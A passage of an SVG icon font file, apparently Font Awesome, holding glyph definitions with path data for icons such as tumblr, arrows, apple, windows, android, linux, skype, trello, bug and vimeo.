d="M944 207l80 -237q-23 -35 -111 -66t-177 -32q-104 -2 -190.5 26t-142.5 74t-95 106t-55.5 120t-16.5 118v544h-168v215q72 26 129 69.5t91 90t58 102t34 99t15 88.5q1 5 4.5 8.5t7.5 3.5h244v-424h333v-252h-334v-518q0 -30 6.5 -56t22.5 -52.5t49.5 -41.5t81.5 -14
q78 2 134 29z" />
    <glyph glyph-name="tumblr_sign" unicode="&#xf174;" 
d="M1136 75l-62 183q-44 -22 -103 -22q-36 -1 -62 10.5t-38.5 31.5t-17.5 40.5t-5 43.5v398h257v194h-256v326h-188q-8 0 -9 -10q-5 -44 -17.5 -87t-39 -95t-77 -95t-118.5 -68v-165h130v-418q0 -57 21.5 -115t65 -111t121 -85.5t176.5 -30.5q69 1 136.5 25t85.5 50z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="long_arrow_down" unicode="&#xf175;" horiz-adv-x="768" 
d="M765 237q8 -19 -5 -35l-350 -384q-10 -10 -23 -10q-14 0 -24 10l-355 384q-13 16 -5 35q9 19 29 19h224v1248q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-1248h224q21 0 29 -19z" />
    <glyph glyph-name="long_arrow_up" unicode="&#xf176;" horiz-adv-x="768" 
d="M765 1043q-9 -19 -29 -19h-224v-1248q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1248h-224q-21 0 -29 19t5 35l350 384q10 10 23 10q14 0 24 -10l355 -384q13 -16 5 -35z" />
    <glyph glyph-name="long_arrow_left" unicode="&#xf177;" horiz-adv-x="1792" 
d="M1792 736v-192q0 -14 -9 -23t-23 -9h-1248v-224q0 -21 -19 -29t-35 5l-384 350q-10 10 -10 23q0 14 10 24l384 354q16 14 35 6q19 -9 19 -29v-224h1248q14 0 23 -9t9 -23z" />
    <glyph glyph-name="long_arrow_right" unicode="&#xf178;" horiz-adv-x="1792" 
d="M1728 643q0 -14 -10 -24l-384 -354q-16 -14 -35 -6q-19 9 -19 29v224h-1248q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h1248v224q0 21 19 29t35 -5l384 -350q10 -10 10 -23z" />
    <glyph glyph-name="apple" unicode="&#xf179;" horiz-adv-x="1408" 
d="M1393 321q-39 -125 -123 -250q-129 -196 -257 -196q-49 0 -140 32q-86 32 -151 32q-61 0 -142 -33q-81 -34 -132 -34q-152 0 -301 259q-147 261 -147 503q0 228 113 374q113 144 284 144q72 0 177 -30q104 -30 138 -30q45 0 143 34q102 34 173 34q119 0 213 -65
q52 -36 104 -100q-79 -67 -114 -118q-65 -94 -65 -207q0 -124 69 -223t158 -126zM1017 1494q0 -61 -29 -136q-30 -75 -93 -138q-54 -54 -108 -72q-37 -11 -104 -17q3 149 78 257q74 107 250 148q1 -3 2.5 -11t2.5 -11q0 -4 0.5 -10t0.5 -10z" />
    <glyph glyph-name="windows" unicode="&#xf17a;" horiz-adv-x="1664" 
d="M682 530v-651l-682 94v557h682zM682 1273v-659h-682v565zM1664 530v-786l-907 125v661h907zM1664 1408v-794h-907v669z" />
    <glyph glyph-name="android" unicode="&#xf17b;" horiz-adv-x="1408" 
d="M493 1053q16 0 27.5 11.5t11.5 27.5t-11.5 27.5t-27.5 11.5t-27 -11.5t-11 -27.5t11 -27.5t27 -11.5zM915 1053q16 0 27 11.5t11 27.5t-11 27.5t-27 11.5t-27.5 -11.5t-11.5 -27.5t11.5 -27.5t27.5 -11.5zM103 869q42 0 72 -30t30 -72v-430q0 -43 -29.5 -73t-72.5 -30
t-73 30t-30 73v430q0 42 30 72t73 30zM1163 850v-666q0 -46 -32 -78t-77 -32h-75v-227q0 -43 -30 -73t-73 -30t-73 30t-30 73v227h-138v-227q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73l-1 227h-74q-46 0 -78 32t-32 78v666h918zM931 1255q107 -55 171 -153.5t64 -215.5
h-925q0 117 64 215.5t172 153.5l-71 131q-7 13 5 20q13 6 20 -6l72 -132q95 42 201 42t201 -42l72 132q7 12 20 6q12 -7 5 -20zM1408 767v-430q0 -43 -30 -73t-73 -30q-42 0 -72 30t-30 73v430q0 43 30 72.5t72 29.5q43 0 73 -29.5t30 -72.5z" />
    <glyph glyph-name="linux" unicode="&#xf17c;" 
d="M663 1125q-11 -1 -15.5 -10.5t-8.5 -9.5q-5 -1 -5 5q0 12 19 15h10zM750 1111q-4 -1 -11.5 6.5t-17.5 4.5q24 11 32 -2q3 -6 -3 -9zM399 684q-4 1 -6 -3t-4.5 -12.5t-5.5 -13.5t-10 -13q-10 -11 -1 -12q4 -1 12.5 7t12.5 18q1 3 2 7t2 6t1.5 4.5t0.5 4v3t-1 2.5t-3 2z
M1254 325q0 18 -55 42q4 15 7.5 27.5t5 26t3 21.5t0.5 22.5t-1 19.5t-3.5 22t-4 20.5t-5 25t-5.5 26.5q-10 48 -47 103t-72 75q24 -20 57 -83q87 -162 54 -278q-11 -40 -50 -42q-31 -4 -38.5 18.5t-8 83.5t-11.5 107q-9 39 -19.5 69t-19.5 45.5t-15.5 24.5t-13 15t-7.5 7
q-14 62 -31 103t-29.5 56t-23.5 33t-15 40q-4 21 6 53.5t4.5 49.5t-44.5 25q-15 3 -44.5 18t-35.5 16q-8 1 -11 26t8 51t36 27q37 3 51 -30t4 -58q-11 -19 -2 -26.5t30 -0.5q13 4 13 36v37q-5 30 -13.5 50t-21 30.5t-23.5 15t-27 7.5q-107 -8 -89 -134q0 -15 -1 -15
q-9 9 -29.5 10.5t-33 -0.5t-15.5 5q1 57 -16 90t-45 34q-27 1 -41.5 -27.5t-16.5 -59.5q-1 -15 3.5 -37t13 -37.5t15.5 -13.5q10 3 16 14q4 9 -7 8q-7 0 -15.5 14.5t-9.5 33.5q-1 22 9 37t34 14q17 0 27 -21t9.5 -39t-1.5 -22q-22 -15 -31 -29q-8 -12 -27.5 -23.5
t-20.5 -12.5q-13 -14 -15.5 -27t7.5 -18q14 -8 25 -19.5t16 -19t18.5 -13t35.5 -6.5q47 -2 102 15q2 1 23 7t34.5 10.5t29.5 13t21 17.5q9 14 20 8q5 -3 6.5 -8.5t-3 -12t-16.5 -9.5q-20 -6 -56.5 -21.5t-45.5 -19.5q-44 -19 -70 -23q-25 -5 -79 2q-10 2 -9 -2t17 -19
q25 -23 67 -22q17 1 36 7t36 14t33.5 17.5t30 17t24.5 12t17.5 2.5t8.5 -11q0 -2 -1 -4.5t-4 -5t-6 -4.5t-8.5 -5t-9 -4.5t-10 -5t-9.5 -4.5q-28 -14 -67.5 -44t-66.5 -43t-49 -1q-21 11 -63 73q-22 31 -25 22q-1 -3 -1 -10q0 -25 -15 -56.5t-29.5 -55.5t-21 -58t11.5 -63
q-23 -6 -62.5 -90t-47.5 -141q-2 -18 -1.5 -69t-5.5 -59q-8 -24 -29 -3q-32 31 -36 94q-2 28 4 56q4 19 -1 18q-2 -1 -4 -5q-36 -65 10 -166q5 -12 25 -28t24 -20q20 -23 104 -90.5t93 -76.5q16 -15 17.5 -38t-14 -43t-45.5 -23q8 -15 29 -44.5t28 -54t7 -70.5q46 24 7 92
q-4 8 -10.5 16t-9.5 12t-2 6q3 5 13 9.5t20 -2.5q46 -52 166 -36q133 15 177 87q23 38 34 30q12 -6 10 -52q-1 -25 -23 -92q-9 -23 -6 -37.5t24 -15.5q3 19 14.5 77t13.5 90q2 21 -6.5 73.5t-7.5 97t23 70.5q15 18 51 18q1 37 34.5 53t72.5 10.5t60 -22.5zM626 1152
q3 17 -2.5 30t-11.5 15q-9 2 -9 -7q2 -5 5 -6q10 0 7 -15q-3 -20 8 -20q3 0 3 3zM1045 955q-2 8 -6.5 11.5t-13 5t-14.5 5.5q-5 3 -9.5 8t-7 8t-5.5 6.5t-4 4t-4 -1.5q-14 -16 7 -43.5t39 -31.5q9 -1 14.5 8t3.5 20zM867 1168q0 11 -5 19.5t-11 12.5t-9 3q-6 0 -8 -2t0 -4
t5 -3q14 -4 18 -31q0 -3 8 2q2 2 2 3zM921 1401q0 2 -2.5 5t-9 7t-9.5 6q-15 15 -24 15q-9 -1 -11.5 -7.5t-1 -13t-0.5 -12.5q-1 -4 -6 -10.5t-6 -9t3 -8.5q4 -3 8 0t11 9t15 9q1 1 9 1t15 2t9 7zM1486 60q20 -12 31 -24.5t12 -24t-2.5 -22.5t-15.5 -22t-23.5 -19.5
t-30 -18.5t-31.5 -16.5t-32 -15.5t-27 -13q-38 -19 -85.5 -56t-75.5 -64q-17 -16 -68 -19.5t-89 14.5q-18 9 -29.5 23.5t-16.5 25.5t-22 19.5t-47 9.5q-44 1 -130 1q-19 0 -57 -1.5t-58 -2.5q-44 -1 -79.5 -15t-53.5 -30t-43.5 -28.5t-53.5 -11.5q-29 1 -111 31t-146 43
q-19 4 -51 9.5t-50 9t-39.5 9.5t-33.5 14.5t-17 19.5q-10 23 7 66.5t18 54.5q1 16 -4 40t-10 42.5t-4.5 36.5t10.5 27q14 12 57 14t60 12q30 18 42 35t12 51q21 -73 -32 -106q-32 -20 -83 -15q-34 3 -43 -10q-13 -15 5 -57q2 -6 8 -18t8.5 -18t4.5 -17t1 -22q0 -15 -17 -49
t-14 -48q3 -17 37 -26q20 -6 84.5 -18.5t99.5 -20.5q24 -6 74 -22t82.5 -23t55.5 -4q43 6 64.5 28t23 48t-7.5 58.5t-19 52t-20 36.5q-121 190 -169 242q-68 74 -113 40q-11 -9 -15 15q-3 16 -2 38q1 29 10 52t24 47t22 42q8 21 26.5 72t29.5 78t30 61t39 54
q110 143 124 195q-12 112 -16 310q-2 90 24 151.5t106 104.5q39 21 104 21q53 1 106 -13.5t89 -41.5q57 -42 91.5 -121.5t29.5 -147.5q-5 -95 30 -214q34 -113 133 -218q55 -59 99.5 -163t59.5 -191q8 -49 5 -84.5t-12 -55.5t-20 -22q-10 -2 -23.5 -19t-27 -35.5
t-40.5 -33.5t-61 -14q-18 1 -31.5 5t-22.5 13.5t-13.5 15.5t-11.5 20.5t-9 19.5q-22 37 -41 30t-28 -49t7 -97q20 -70 1 -195q-10 -65 18 -100.5t73 -33t85 35.5q59 49 89.5 66.5t103.5 42.5q53 18 77 36.5t18.5 34.5t-25 28.5t-51.5 23.5q-33 11 -49.5 48t-15 72.5
t15.5 47.5q1 -31 8 -56.5t14.5 -40.5t20.5 -28.5t21 -19t21.5 -13t16.5 -9.5z" />
    <glyph glyph-name="dribble" unicode="&#xf17d;" 
d="M1024 36q-42 241 -140 498h-2l-2 -1q-16 -6 -43 -16.5t-101 -49t-137 -82t-131 -114.5t-103 -148l-15 11q184 -150 418 -150q132 0 256 52zM839 643q-21 49 -53 111q-311 -93 -673 -93q-1 -7 -1 -21q0 -124 44 -236.5t124 -201.5q50 89 123.5 166.5t142.5 124.5t130.5 81
t99.5 48l37 13q4 1 13 3.5t13 4.5zM732 855q-120 213 -244 378q-138 -65 -234 -186t-128 -272q302 0 606 80zM1416 536q-210 60 -409 29q87 -239 128 -469q111 75 185 189.5t96 250.5zM611 1277q-1 0 -2 -1q1 1 2 1zM1201 1132q-185 164 -433 164q-76 0 -155 -19
q131 -170 246 -382q69 26 130 60.5t96.5 61.5t65.5 57t37.5 40.5zM1424 647q-3 232 -149 410l-1 -1q-9 -12 -19 -24.5t-43.5 -44.5t-71 -60.5t-100 -65t-131.5 -64.5q25 -53 44 -95q2 -5 6.5 -17t7.5 -17q36 5 74.5 7t73.5 2t69 -1.5t64 -4t56.5 -5.5t48 -6.5t36.5 -6
t25 -4.5zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="skype" unicode="&#xf17e;" 
d="M1173 473q0 50 -19.5 91.5t-48.5 68.5t-73 49t-82.5 34t-87.5 23l-104 24q-30 7 -44 10.5t-35 11.5t-30 16t-16.5 21t-7.5 30q0 77 144 77q43 0 77 -12t54 -28.5t38 -33.5t40 -29t48 -12q47 0 75.5 32t28.5 77q0 55 -56 99.5t-142 67.5t-182 23q-68 0 -132 -15.5
t-119.5 -47t-89 -87t-33.5 -128.5q0 -61 19 -106.5t56 -75.5t80 -48.5t103 -32.5l146 -36q90 -22 112 -36q32 -20 32 -60q0 -39 -40 -64.5t-105 -25.5q-51 0 -91.5 16t-65 38.5t-45.5 45t-46 38.5t-54 16q-50 0 -75.5 -30t-25.5 -75q0 -92 122 -157.5t291 -65.5
q73 0 140 18.5t122.5 53.5t88.5 93.5t33 131.5zM1536 256q0 -159 -112.5 -271.5t-271.5 -112.5q-130 0 -234 80q-77 -16 -150 -16q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5q0 73 16 150q-80 104 -80 234q0 159 112.5 271.5t271.5 112.5q130 0 234 -80
q77 16 150 16q143 0 273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -73 -16 -150q80 -104 80 -234z" />
    <glyph glyph-name="foursquare" unicode="&#xf180;" horiz-adv-x="1280" 
d="M1000 1102l37 194q5 23 -9 40t-35 17h-712q-23 0 -38.5 -17t-15.5 -37v-1101q0 -7 6 -1l291 352q23 26 38 33.5t48 7.5h239q22 0 37 14.5t18 29.5q24 130 37 191q4 21 -11.5 40t-36.5 19h-294q-29 0 -48 19t-19 48v42q0 29 19 47.5t48 18.5h346q18 0 35 13.5t20 29.5z
M1227 1324q-15 -73 -53.5 -266.5t-69.5 -350t-35 -173.5q-6 -22 -9 -32.5t-14 -32.5t-24.5 -33t-38.5 -21t-58 -10h-271q-13 0 -22 -10q-8 -9 -426 -494q-22 -25 -58.5 -28.5t-48.5 5.5q-55 22 -55 98v1410q0 55 38 102.5t120 47.5h888q95 0 127 -53t10 -159zM1227 1324
l-158 -790q4 17 35 173.5t69.5 350t53.5 266.5z" />
    <glyph glyph-name="trello" unicode="&#xf181;" 
d="M704 192v1024q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-1024q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1376 576v640q0 14 -9 23t-23 9h-480q-14 0 -23 -9t-9 -23v-640q0 -14 9 -23t23 -9h480q14 0 23 9t9 23zM1536 1344v-1408q0 -26 -19 -45t-45 -19h-1408
q-26 0 -45 19t-19 45v1408q0 26 19 45t45 19h1408q26 0 45 -19t19 -45z" />
    <glyph glyph-name="female" unicode="&#xf182;" horiz-adv-x="1280" 
d="M1280 480q0 -40 -28 -68t-68 -28q-51 0 -80 43l-227 341h-45v-132l247 -411q9 -15 9 -33q0 -26 -19 -45t-45 -19h-192v-272q0 -46 -33 -79t-79 -33h-160q-46 0 -79 33t-33 79v272h-192q-26 0 -45 19t-19 45q0 18 9 33l247 411v132h-45l-227 -341q-29 -43 -80 -43
q-40 0 -68 28t-28 68q0 29 16 53l256 384q73 107 176 107h384q103 0 176 -107l256 -384q16 -24 16 -53zM864 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="male" unicode="&#xf183;" horiz-adv-x="1024" 
d="M1024 832v-416q0 -40 -28 -68t-68 -28t-68 28t-28 68v352h-64v-912q0 -46 -33 -79t-79 -33t-79 33t-33 79v464h-64v-464q0 -46 -33 -79t-79 -33t-79 33t-33 79v912h-64v-352q0 -40 -28 -68t-68 -28t-68 28t-28 68v416q0 80 56 136t136 56h640q80 0 136 -56t56 -136z
M736 1280q0 -93 -65.5 -158.5t-158.5 -65.5t-158.5 65.5t-65.5 158.5t65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5z" />
    <glyph glyph-name="gittip" unicode="&#xf184;" 
d="M773 234l350 473q16 22 24.5 59t-6 85t-61.5 79q-40 26 -83 25.5t-73.5 -17.5t-54.5 -45q-36 -40 -96 -40q-59 0 -95 40q-24 28 -54.5 45t-73.5 17.5t-84 -25.5q-46 -31 -60.5 -79t-6 -85t24.5 -59zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103
t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="sun" unicode="&#xf185;" horiz-adv-x="1792" 
d="M1472 640q0 117 -45.5 223.5t-123 184t-184 123t-223.5 45.5t-223.5 -45.5t-184 -123t-123 -184t-45.5 -223.5t45.5 -223.5t123 -184t184 -123t223.5 -45.5t223.5 45.5t184 123t123 184t45.5 223.5zM1748 363q-4 -15 -20 -20l-292 -96v-306q0 -16 -13 -26q-15 -10 -29 -4
l-292 94l-180 -248q-10 -13 -26 -13t-26 13l-180 248l-292 -94q-14 -6 -29 4q-13 10 -13 26v306l-292 96q-16 5 -20 20q-5 17 4 29l180 248l-180 248q-9 13 -4 29q4 15 20 20l292 96v306q0 16 13 26q15 10 29 4l292 -94l180 248q9 12 26 12t26 -12l180 -248l292 94
q14 6 29 -4q13 -10 13 -26v-306l292 -96q16 -5 20 -20q5 -16 -4 -29l-180 -248l180 -248q9 -12 4 -29z" />
    <glyph glyph-name="_366" unicode="&#xf186;" 
d="M1262 233q-54 -9 -110 -9q-182 0 -337 90t-245 245t-90 337q0 192 104 357q-201 -60 -328.5 -229t-127.5 -384q0 -130 51 -248.5t136.5 -204t204 -136.5t248.5 -51q144 0 273.5 61.5t220.5 171.5zM1465 318q-94 -203 -283.5 -324.5t-413.5 -121.5q-156 0 -298 61
t-245 164t-164 245t-61 298q0 153 57.5 292.5t156 241.5t235.5 164.5t290 68.5q44 2 61 -39q18 -41 -15 -72q-86 -78 -131.5 -181.5t-45.5 -218.5q0 -148 73 -273t198 -198t273 -73q118 0 228 51q41 18 72 -13q14 -14 17.5 -34t-4.5 -38z" />
    <glyph glyph-name="archive" unicode="&#xf187;" horiz-adv-x="1792" 
d="M1088 704q0 26 -19 45t-45 19h-256q-26 0 -45 -19t-19 -45t19 -45t45 -19h256q26 0 45 19t19 45zM1664 896v-960q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v960q0 26 19 45t45 19h1408q26 0 45 -19t19 -45zM1728 1344v-256q0 -26 -19 -45t-45 -19h-1536
q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h1536q26 0 45 -19t19 -45z" />
    <glyph glyph-name="bug" unicode="&#xf188;" horiz-adv-x="1664" 
d="M1632 576q0 -26 -19 -45t-45 -19h-224q0 -171 -67 -290l208 -209q19 -19 19 -45t-19 -45q-18 -19 -45 -19t-45 19l-198 197q-5 -5 -15 -13t-42 -28.5t-65 -36.5t-82 -29t-97 -13v896h-128v-896q-51 0 -101.5 13.5t-87 33t-66 39t-43.5 32.5l-15 14l-183 -207
q-20 -21 -48 -21q-24 0 -43 16q-19 18 -20.5 44.5t15.5 46.5l202 227q-58 114 -58 274h-224q-26 0 -45 19t-19 45t19 45t45 19h224v294l-173 173q-19 19 -19 45t19 45t45 19t45 -19l173 -173h844l173 173q19 19 45 19t45 -19t19 -45t-19 -45l-173 -173v-294h224q26 0 45 -19
t19 -45zM1152 1152h-640q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5z" />
    <glyph glyph-name="vk" unicode="&#xf189;" horiz-adv-x="1920" 
d="M1917 1016q23 -64 -150 -294q-24 -32 -65 -85q-40 -51 -55 -72t-30.5 -49.5t-12 -42t13 -34.5t32.5 -43t57 -53q4 -2 5 -4q141 -131 191 -221q3 -5 6.5 -12.5t7 -26.5t-0.5 -34t-25 -27.5t-59 -12.5l-256 -4q-24 -5 -56 5t-52 22l-20 12q-30 21 -70 64t-68.5 77.5t-61 58
t-56.5 15.5q-3 -1 -8 -3.5t-17 -14.5t-21.5 -29.5t-17 -52t-6.5 -77.5q0 -15 -3.5 -27.5t-7.5 -18.5l-4 -5q-18 -19 -53 -22h-115q-71 -4 -146 16.5t-131.5 53t-103 66t-70.5 57.5l-25 24q-10 10 -27.5 30t-71.5 91t-106 151t-122.5 211t-130.5 272q-6 16 -6 27t3 16l4 6
q15 19 57 19l274 2q12 -2 23 -6.5t16 -8.5l5 -3q16 -11 24 -32q20 -50 46 -103.5t41 -81.5l16 -29q29 -60 56 -104t48.5 -68.5t41.5 -38.5t34 -14t27 5q2 1 5 5t12 22t13.5 47t9.5 81t0 125q-2 40 -9 73t-14 46l-6 12q-25 34 -85 43q-13 2 5 24q16 19 38 30q53 26 239 24
q82 -1 135 -13q20 -5 33.5 -13.5t20.5 -24t10.5 -32t3.5 -45.5t-1 -55t-2.5 -70.5t-1.5 -82.5q0 -11 -1 -42t-0.5 -48t3.5 -40.5t11.5 -39t22.5 -24.5q8 -2 17 -4t26 11t38 34.5t52 67t68 107.5q60 104 107 225q4 10 10 17.5t11 10.5l4 3l5 2.5t13 3t20 0.5l288 2
q39 5 64 -2.5t31 -16.5z" />
    <glyph glyph-name="weibo" unicode="&#xf18a;" horiz-adv-x="1792" 
d="M675 252q21 34 11 69t-45 50q-34 14 -73 1t-60 -46q-22 -34 -13 -68.5t43 -50.5t74.5 -2.5t62.5 47.5zM769 373q8 13 3.5 26.5t-17.5 18.5q-14 5 -28.5 -0.5t-21.5 -18.5q-17 -31 13 -45q14 -5 29 0.5t22 18.5zM943 266q-45 -102 -158 -150t-224 -12
q-107 34 -147.5 126.5t6.5 187.5q47 93 151.5 139t210.5 19q111 -29 158.5 -119.5t2.5 -190.5zM1255 426q-9 96 -89 170t-208.5 109t-274.5 21q-223 -23 -369.5 -141.5t-132.5 -264.5q9 -96 89 -170t208.5 -109t274.5 -21q223 23 369.5 141.5t132.5 264.5zM1563 422
q0 -68 -37 -139.5t-109 -137t-168.5 -117.5t-226 -83t-270.5 -31t-275 33.5t-240.5 93t-171.5 151t-65 199.5q0 115 69.5 245t197.5 258q169 169 341.5 236t246.5 -7q65 -64 20 -209q-4 -14 -1 -20t10 -7t14.5 0.5t13.5 3.5l6 2q139 59 246 59t153 -61q45 -63 0 -178
q-2 -13 -4.5 -20t4.5 -12.5t12 -7.5t17 -6q57 -18 103 -47t80 -81.5t34 -116.5zM1489 1046q42 -47 54.5 -108.5t-6.5 -117.5q-8 -23 -29.5 -34t-44.5 -4q-23 8 -34 29.5t-4 44.5q20 63 -24 111t-107 35q-24 -5 -45 8t-25 37q-5 24 8 44.5t37 25.5q60 13 119 -5.5t101 -65.5z
M1670 1209q87 -96 112.5 -222.5t-13.5 -241.5q-9 -27 -34 -40t-52 -4t-40 34t-5 52q28 82 10 172t-80 158q-62 69 -148 95.5t-173 8.5q-28 -6 -52 9.5t-30 43.5t9.5 51.5t43.5 29.5q123 26 244 -11.5t208 -134.5z" />
    <glyph glyph-name="renren" unicode="&#xf18b;" 
d="M1133 -34q-171 -94 -368 -94q-196 0 -367 94q138 87 235.5 211t131.5 268q35 -144 132.5 -268t235.5 -211zM638 1394v-485q0 -252 -126.5 -459.5t-330.5 -306.5q-181 215 -181 495q0 187 83.5 349.5t229.5 269.5t325 137zM1536 638q0 -280 -181 -495
q-204 99 -330.5 306.5t-126.5 459.5v485q179 -30 325 -137t229.5 -269.5t83.5 -349.5z" />
    <glyph glyph-name="_372" unicode="&#xf18c;" horiz-adv-x="1408" 
d="M1402 433q-32 -80 -76 -138t-91 -88.5t-99 -46.5t-101.5 -14.5t-96.5 8.5t-86.5 22t-69.5 27.5t-46 22.5l-17 10q-113 -228 -289.5 -359.5t-384.5 -132.5q-19 0 -32 13t-13 32t13 31.5t32 12.5q173 1 322.5 107.5t251.5 294.5q-36 -14 -72 -23t-83 -13t-91 2.5t-93 28.5
t-92 59t-84.5 100t-74.5 146q114 47 214 57t167.5 -7.5t124.5 -56.5t88.5 -77t56.5 -82q53 131 79 291q-7 -1 -18 -2.5t-46.5 -2.5t-69.5 0.5t-81.5 10t-88.5 23t-84 42.5t-75 65t-54.5 94.5t-28.5 127.5q70 28 133.5 36.5t112.5 -1t92 -30t73.5 -50t56 -61t42 -63t27.5 -56
t16 -39.5l4 -16q12 122 12 195q-8 6 -21.5 16t-49 44.5t-63.5 71.5t-54 93t-33 112.5t12 127t70 138.5q73 -25 127.5 -61.5t84.5 -76.5t48 -85t20.5 -89t-0.5 -85.5t-13 -76.5t-19 -62t-17 -42l-7 -15q1 -4 1 -50t-1 -72q3 7 10 18.5t30.5 43t50.5 58t71 55.5t91.5 44.5
t112 14.5t132.5 -24q-2 -78 -21.5 -141.5t-50 -104.5t-69.5 -71.5t-81.5 -45.5t-84.5 -24t-80 -9.5t-67.5 1t-46.5 4.5l-17 3q-23 -147 -73 -283q6 7 18 18.5t49.5 41t77.5 52.5t99.5 42t117.5 20t129 -23.5t137 -77.5z" />
    <glyph glyph-name="stack_exchange" unicode="&#xf18d;" horiz-adv-x="1280" 
d="M1259 283v-66q0 -85 -57.5 -144.5t-138.5 -59.5h-57l-260 -269v269h-529q-81 0 -138.5 59.5t-57.5 144.5v66h1238zM1259 609v-255h-1238v255h1238zM1259 937v-255h-1238v255h1238zM1259 1077v-67h-1238v67q0 84 57.5 143.5t138.5 59.5h846q81 0 138.5 -59.5t57.5 -143.5z
" />
    <glyph glyph-name="_374" unicode="&#xf18e;" 
d="M1152 640q0 -14 -9 -23l-320 -320q-9 -9 -23 -9q-13 0 -22.5 9.5t-9.5 22.5v192h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v192q0 14 9 23t23 9q12 0 24 -10l319 -319q9 -9 9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="arrow_circle_alt_left" unicode="&#xf190;" 
d="M1152 736v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-192q0 -14 -9 -23t-23 -9q-12 0 -24 10l-319 319q-9 9 -9 23t9 23l320 320q9 9 23 9q13 0 22.5 -9.5t9.5 -22.5v-192h352q13 0 22.5 -9.5t9.5 -22.5zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198
t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_376" unicode="&#xf191;" 
d="M1024 960v-640q0 -26 -19 -45t-45 -19q-20 0 -37 12l-448 320q-27 19 -27 52t27 52l448 320q17 12 37 12q26 0 45 -19t19 -45zM1280 160v960q0 13 -9.5 22.5t-22.5 9.5h-960q-13 0 -22.5 -9.5t-9.5 -22.5v-960q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5z
M1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="dot_circle_alt" unicode="&#xf192;" 
d="M1024 640q0 -106 -75 -181t-181 -75t-181 75t-75 181t75 181t181 75t181 -75t75 -181zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5
t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_378" unicode="&#xf193;" horiz-adv-x="1664" 
d="M1023 349l102 -204q-58 -179 -210 -290t-339 -111q-156 0 -288.5 77.5t-210 210t-77.5 288.5q0 181 104.5 330t274.5 211l17 -131q-122 -54 -195 -165.5t-73 -244.5q0 -185 131.5 -316.5t316.5 -131.5q126 0 232.5 65t165 175.5t49.5 236.5zM1571 249l58 -114l-256 -128
q-13 -7 -29 -7q-40 0 -57 35l-239 477h-472q-24 0 -42.5 16.5t-21.5 40.5l-96 779q-2 17 6 42q14 51 57 82.5t97 31.5q66 0 113 -47t47 -113q0 -69 -52 -117.5t-120 -41.5l37 -289h423v-128h-407l16 -128h455q40 0 57 -35l228 -455z" />
    <glyph glyph-name="vimeo_square" unicode="&#xf194;" 
d="M1292 898q10 216 -161 222q-231 8 -312 -261q44 19 82 19q85 0 74 -96q-4 -57 -74 -167t-105 -110q-43 0 -82 169q-13 54 -45 255q-30 189 -160 177q-59 -7 -164 -100l-81 -72l-81 -72l52 -67q76 52 87 52q57 0 107 -179q15 -55 45 -164.5t45 -164.5q68 -179 164 -179
q157 0 383 294q220 283 226 444zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_380" unicode="&#xf195;" horiz-adv-x="1152" 
d="M1152 704q0 -191 -94.5 -353t-256.5 -256.5t-353 -94.5h-160q-14 0 -23 9t-9 23v611l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v93l-215 -66q-3 -1 -9 -1q-10 0 -19 6q-13 10 -13 26v128q0 23 23 31l233 71v250q0 14 9 23t23 9h160
